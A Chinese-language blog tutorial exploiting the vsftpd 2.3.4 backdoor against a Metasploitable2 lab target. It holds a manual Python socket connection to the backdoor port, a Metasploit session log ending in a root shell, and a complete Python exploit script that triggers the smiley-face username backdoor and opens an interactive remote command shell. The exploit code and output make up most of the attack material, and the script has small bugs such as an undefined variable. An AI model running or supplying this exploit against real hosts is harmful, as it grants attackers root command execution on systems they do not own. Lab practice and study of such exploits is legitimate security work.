vsftpd2.3.4|vsftpd2.3.4 后门利用脚本编写
安全开发-Vsftpd2.3.4后门利用脚本编写 来自法老的博客
Python专题
Created At : 2021-01-29 16:59
Views :15
一:漏洞起源
文章图片
二:手动利用 靶场环境
定位 | 环境 | IP Address |
---|---|---|
攻击机 | Python3.8 | 192.168.31.33 |
靶机 | Metasploitable2 | 192.168.31.20 |
使用用户名+:)来进行用户登录,密码随便填写,连接上后会开启后门侦听6200端口来等待命令连接
文章图片
步骤二:Python脚本发送命令
import socket#导入socket库
ip = "192.168.31.33"
port = 6200
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip, 6200))#对目标建立socket连接
s.settimeout(1.5)
host = str.encode('id -u -n' + '\n')#执行id命令查询当前用户身份信息
s.send(host)#发送命令
hostt = s.recv(1024).decode('utf-8')#接受命令
print(hostt)#打印命令执行结果
python复制代码
文章图片
三:MSF攻击
msf6 > search vsftpd
Matching Modules
================
#NameDisclosure DateRankCheckDescription
----------------------------------------
0exploit/unix/ftp/vsftpd_234_backdoor2011-07-03excellentNoVSFTPD v2.3.4 Backdoor Command ExecutionInteract with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoormsf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.31.33
RHOSTS => 192.168.31.33
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.31.33:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.31.33:21 - USER: 331 Please specify the password.
[+] 192.168.31.33:21 - Backdoor service has been spawned, handling...
[+] 192.168.31.33:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.31.33:6200) at 2021-01-29 17:28:46 +0800
whoami
root
xaml复制代码
四:攻击脚本编写
import socket#网络编程
import time#处理时间
import sys#接受参数def exploit(ip, port):
try:
ftp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp.connect((ip, port))#对目标IP地址及端口进行连接
check = ftp.recv(1024).decode('utf-8')#接受返回来的数据并对其进行解码操作
socket.setdefaulttimeout(5)#设置请求超时时间
if "vsftpd 2.3.4" in check.lower():#检测banner信息中是否存在漏洞信息
ftp.send(b'USER letmein:)\n')#发送攻击数据,记住笑脸
ftp.send(b'PASS invaild\n')#发送攻击数据
time.sleep(2)#等待2秒钟时间
ftp.close()#关闭连接
print("[+] SUCCESSFUL CONNECT?ON")
else:
print("[-] Not work vsftpd 2.3.4")
except Exception as f:#异常信息给到变量f
print('[-] CONNECTION FAILED')
print(f)#打印异常信息
ftp.close()#关闭连接
sys.exit(1)#退出程序并返回1try:
arkakapi = socket.socket(socket.AF_INET, socket.SOCK_STREAM)#调用socket库
arkakapi.connect((ip, 6200))#对目标IP地址及端口进行连接
arkakapi.setdefaulttimeout(1.5)#设置请求超时时间为1.5秒
print('[*] SESSION CREATED')
print('[!] Interactive shell to check >> use command shell_check')
host = str.encode('id -u -n' + '\n')#漏洞验证
arkakapi.send(host)#发送命令
hostt = arkakapi.recv(1024).decode('utf-8')#打印输出当前用户信息
while True:
sendnude = input(ip + '@' + str(hostt.strip()) + "#: ")#接受用户输入要执行的命令
if sendnude.lower() == 'shell_check':#shell终端检测
print('[*]Interact?ve shell checked...')
komut = str.encode((tty + '\n'))
arkakapi.send(komut)
print(arkakapi.recv(1024).decode('utf-8'))
else:
try:
komut = str.encode((sendnude + '\n'))#将输入的命令添加换行操作在进行UTF-8编码
arkakapi.send(komut)#发送要执行的命令
responseq = arkakapi.recv(1024).decode('utf-8')#接受并解码放回来的数据
print(responseq)#打印命令执行结果
except socket.timeout:
passif sendnude.lower() == 'exit':#shell中判断退出
print('[*] SESSION CLOSED')
arkakapi.close()
sys.exit(1)
except Exception as f:#异常处理
print('[!] Failed to connect to backdoor')
print(f)if __name__ == '__main__':# 判断python脚本是否是独立执行
if len(sys.argv) < 3:# 脚本参数数量判断
print('Usage ./VSFTPexp.py ')
print('Example ./VSFTPexp.py 127.0.0.1 21')
else:
exploit(sys.argv[1], int(sys.argv[2]))#函数使用第一个参数传递进入字符串类型第二个参数传递进入为类型转换后的整型
python复制代码
执行结果
文章图片
推荐阅读
- 用python做实验数据分析_Python小实验——利用Python进行NBA比赛数据分析
- python学习|利用python爬虫技术获取每天每场的每位球员NBA数据以及每日范特西评分
- 应急响应|一次真实的应急响应案例(Ubuntu)——暴力破解、写入ssh公钥留后门、植入GPU挖矿程序——事件复现(含靶场环境)
- 如何利用Python处理excel表格中的数据
- 利用python实现蝴蝶曲线
- 利用pyecharts绘制地理散点图
- 利用go实现mysql批量测试数据生成-TDG
- 如何利用Go语言实现LRU|如何利用Go语言实现LRU Cache
- 如何利用Python快速统计文本的行数
- 深入浅出PyTorch|热力图的关键(利用register_hook获取梯度)